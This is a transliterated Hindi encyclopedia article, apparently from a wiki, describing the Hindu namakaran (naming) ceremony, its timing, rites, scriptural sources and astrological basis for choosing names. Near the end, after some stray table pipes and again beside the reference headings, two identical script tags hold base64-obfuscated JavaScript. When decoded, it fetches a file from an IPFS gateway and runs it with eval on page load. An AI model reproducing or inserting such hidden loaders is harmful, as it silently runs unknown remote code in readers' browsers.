नामकरण संस्कार
thumb|500|namakaran sanskar
Namkaran Sanskar
namakaran sanskar hindoo dharm sanskaroan mean pancham sanskar hai. yah sanskar balak ke janm hone ke gyarahavean din mean kar lena chahiye. isaka karan yah hai ki parashar smriti ke anusar janm ke sootak mean brahman das din mean, kshatriy barah din mean, vaishy pandrah din mean aur shoodr ek mas mean shuddh hota hai. atah ashauch bitane par hi namakaran-sanskar karana chahiye, kyoanki nam ke sath manushy ka ghanishth sambandh rahata hai. nam prayah do hote haian- ek gupt nam doosara prachalit nam. jaise kaha hai ki- do nam nishchit karean, ek nam nakshatr-sambandhi ho aur doosara nam ruchi ke anusar rakha gaya ho. [1] gupt nam keval mata-pita ko chho dakar any kisi ko maloom n ho. isase usake prati kiya gaya maran, uchchatan tatha mohan adi abhichar karm saphal nahian ho pata hai. nakshatr ya rashiyoan ke anusar nam rakhane se labh yah hai ki isase janmakuandali banane mean asani rahati hai. nam bhi bahut sundar aur arthapoorn rakhana chahiye. ashubh tatha bhadda nam kadapi nahian rakhana chahiye.
- is sanskar ko prayah das din ke sootak ki nivritti ke bad hi kiya jata hai. paraskar grihayasootr mean likha hai-dashamyamutthapy pita nam karoti. kahian-kahian janm ke dasavean din sootika ka shuddhikaran yajn dvara kara kar bhi sanskar sanpann kiya jata hai. kahian-kahian 100vean din ya ek varsh bit jane ke bad namakaran karane ki vidhi prachalit hai. gobhil grihayasootrakar ke anusar-jananadrisharatre vyushte shataratre sanvatsare va namadheyakaranamh. namakaran-sanskar ke sanbandh mean smriti-sangrah mean likha hai -
ayurvedabhivriddhishch siddhirvyavahatestatha .
namakarmaphalan tvetath samuddishtan manishibhiah ..[2]
arthath namakaran-sanskar se ayu tatha tez ki vriddhi hoti hai evan laukik vyavahar mean nam ki prasiddhi se vyakti ka alag astittav banata hai.
- is sanskar mean bachche ko shahad chatakar shalinatapoorvak madhur bhashan kar, sooryadarshan karaya jata hai aur kamana ki jati hai ki bachcha soory ki prakharata-tejasvita dharan kare, isake sath hi bhoomi ko naman kar devasanskriti ke prati shraddhapoorvak samarpan kiya jata hai. shishu ka naya nam lekar sabake dvara usake chiranjivi, dharmashil, svasth evan samriddh hone ki kamana ki jati hai.
- bharatiy chiantan ke anusar atma ajar-amar hai. sharir nasht hota hai, kituan jivatma ke sanchit sanskar usake sath lage rahate haian. balak kis samay, kis nakshatr, rashi adi mean utpann hua, yah sab ek nishchit vidhan ke anusar hota hai. ghar ka purohit ya pandit balak ke janm-nakshatr, grah, rashi adi ke anusar balak ke namakaran karata hai. valmiki-ramayan mean varnit hai ki shriram adi char bhaiyoan ka namakaran maharshi garg dvarashrikrishna ka namakaran unake gun-dharmoan ke adhar par karane ka ullekh hai.[2]
- namakaran ke tin adhar mane ge haian. pahala, jis nakshatr mean shishu ka janm hota hai, us nakshatr ki pahachan rahe. isalie nam nakshatr ke lie niyat akshar se shuroo hona chahie, taki nam se janm nakshatr ka pata chale aur jyotishiy rashiphal bhi samajha ja sakean. doosara, moolarup se namoan ki vaijnanikata banean aur tisara yah ki nam se usake jatinam, vansh, gautr adi ki janakari ho jae.[2]
|
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
sanbandhit lekh
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>